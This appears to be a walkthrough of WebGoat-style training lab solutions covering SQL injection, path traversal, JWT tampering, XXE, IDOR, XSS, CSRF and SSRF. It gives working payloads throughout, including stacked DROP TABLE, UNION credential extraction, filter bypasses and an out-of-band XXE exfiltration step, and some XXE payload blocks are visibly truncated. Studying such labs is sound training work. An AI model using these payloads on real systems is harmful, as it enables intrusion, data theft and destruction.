SQL Injection Fundamentals
Introduction to Database Query Manipulation
Structured Query Language enables interaction with relational database systems. This section demonstrates how improperly constructed quereis can be exploited to bypass security controls and access unauthorized data.
Basic Retrieval Operations
Consider a personnel database table named staff with the following structure:
staff table structure:
emp_id | fname | lname | division | compensation | security_token
-------|-------|-------|----------|--------------|----------------
32147 | Paulina | Travers | Accounting | 46000 | P45JSI
89762 | Tobi | Barnett | Development | 77000 | TA9LL1
Challenge: Retrieve the division name for employee Paulina Travers.
Solution: SELECT division FROM staff WHERE emp_id='32147';
Data Modification Language
DML commands include SELECT, INSERT, UPDATE, and DELETE operations. When attackers inject malicious DML, they compromise confidentiality and integrity.
Challenge: Update Tobi Barnett's division to 'Sales'.
Solution: UPDATE staff SET division='Sales' WHERE emp_id=89762;
Schema Modification
DDL commands alter database structure. Unauthorized DDL execution violates integrity and availability.
Challenge: Add a contact_number column to the staff table.
Solution: ALTER TABLE staff ADD contact_number VARCHAR(20);
Privilege Escalation
DCL commands manage permissions. Injection here can grant unauthorized access.
Challenge: Grant table modification rights to 'IntruderGroup'.
Solution: GRANT ALTER TABLE TO IntruderGroup;
String-Based Injection
Applications building queries through string concatenation are vulnerable:
Vulnerable Pattern:
"SELECT * FROM accounts WHERE first_name = 'John' AND last_name = '" + userInput + "'";
Exploitation: Submit Smith' OR '1'='1 to bypass authentication and retrieve all records.
Numeric Injection with Commenting
For numeric parameters without quotes:
Payload: 123 OR 1=1 -- or 123 OR 1=1 #
Stacked Query Exploitation
When multiple statements are supported:
Challenge: Modify salary data.
Payload: validuser'; UPDATE staff SET compensation=999999 WHERE emp_id=37648--
Challenge: Delete audit table.
Payload: validuser'; DROP TABLE security_audit--
Advanced SQL Injection Techniques
UNION-Based Data Extraction
UNION requires matching column counts and compatible data types between queries.
Discovery: Use ORDER BY to determine column count.
Exploitation: 1' UNION SELECT 1,username,passhash,'1','2','3',4 FROM system_credentials--
Boolean-Based Blind Injection
When direct output isn't visible:
Test: tom' AND 1=1-- (exists) vs tom' AND 1=2-- (doesn't exist)
Password Length Check: tom' AND LENGTH(passhash)>0--
Character Extraction: tom' AND SUBSTRING(passhash,1,1)='a'--
SQL Injection Mitigation
Prepared Statements
Parameterized queries separate code from data:
// Secure Implementation
Connection dbConn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASS);
PreparedStatement stmt = dbConn.prepareStatement(
"SELECT status FROM accounts WHERE username = ? AND email = ?"
);
stmt.setString(1, userName);
stmt.setString(2, userEmail);
ResultSet rs = stmt.executeQuery();
Key Benefits: Pre-compilation prevents injection; placeholders block malicious input concatenation.
Input Filtering Bypasses
When spaces are blocked, use alternatives:
/**/instead of spaces- URL encoding:
%2e%2e%2ffor../ - Double encoding for evasion
Keyword Filtering: Use selselectect (double writing) when select is removed.
Path Traversal Vulnerabilities
Directory Navigation Attack
Basic Bypass: ../ traverses directories.
Double Encoding: ..%2f or %2e%2e%2f bypasses filters.
File Upload Manipulation: Modify filename parameters in requests.
Challenge: Access path-traversal-secret file.
Solution: id=%2e%2e%2f%2e%2e%2fpath-traversal-secret
Broken Authentication Mechanisms
Security Question Bypass
Remove security question parameters or set them to always-true conditions.
Payload: Modify securityquestion0=1 to bypass verification.
JWT Manipulation
JSON Web Tokens consist of three Base64Url-encoded parts: header, payload, signature.
Algorithm Substitution Attack
Change algorithm from HS512 to none:
- Decode header:
{"alg":"HS512"}→eyJhbGciOiJIUzUxMiJ9 - Modify to
{"alg":"none"}→eyJhbGciOiJub25lIn0 - Remove signature portion
- Reassemble token
Weak Key Brute Force
Requirements: Valid token, known algorithm, weak secret.
Tool Usage: jwt_tool.py <token> -C -d wordlist.txt
Token Refresh Attack
Modify expiration timestamp (exp) using current epoch time:
import time
current_time = int(time.time())
exp_time = current_time + 3600 # 1 hour validity
SQL Injection in JWT Header
Inject via kid (key ID) parameter:
Payload: "kid": "invalid' UNION SELECT 'ZGVsZXRl' FROM info_schema--"
Sensitive Data Exposure
Credential Interception
Network sniffing reveals unencrypted credentials in transit. Always use HTTPS and encrypt sensitive fields.
XML External Entity Attacks
Basic XXE Exploitation
Inject entities to read server files:
<?xml version="1.0"?>
]>
<comment>
<text>&xxe;</text>
</comment>
Out-of-Band XXE
Exfiltrate data to attacker-controlled server:
-
Create malicious DTD on WebWolf: ```
%send;
-
Reference it in payload: ```
%dtd; %exfil; ]>
JSON to XML Conversion
Change Content-Type from application/json to application/xml to trigger XXE processing.
Broken Access Control
IDOR Vulnerabilities
Insecure Direct Object References expose resources through predictable identifiers.
Discovery: Analyze API endpoints for numeric IDs.
Exploitation: GET /api/profile/2342384 → modify ID to access other users.
Horizontal Privilege Escalation: Change userId parameter to manipulate other users' data.
Hidden Functionality
Inspect page source for concealed UI elements:
<div style="display:none">
<a href="/admin/users">User Management</a>
</div>
Access directly: GET /admin/users with Content-Type: application/json
Cross-Site Scripting
Reflected XSS
Input reflected without sanitization:
Payload: <script>alert('exploited')</script>
DOM-Based XSS
Client-side routing vulnerabilities:
- Analyze JavaScript routing:
GoatRouter.js - Trace parameter flow:
route → testHandler → showTestParam - Execute payload:
start.mvc#test/<script>malicious()</script>
XSS via CVE-2013-7285 (XStream)
Vulnerable XML deserialization:
<contact>
<name>malicious payload</name>
</contact>
Cross-Site Request Forgery
CSRF Token Bypass
Remove Referer header to bypass validation.
Forced Submision
Auto-submitting malicious form:
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://target/csrf/feedback">
<input type="hidden" name="data" value='{"name":"attacker"}'>
</form>
</body>
</html>
Multi-Account Attack
Simultaneously logged-in sessions can trigger actions across accounts.
Server-Side Request Forgery
Image Source Manipulation
Modify image URL parameters:
Payload: Change imageSource=TOM to imageSource=http://ifconfig.pro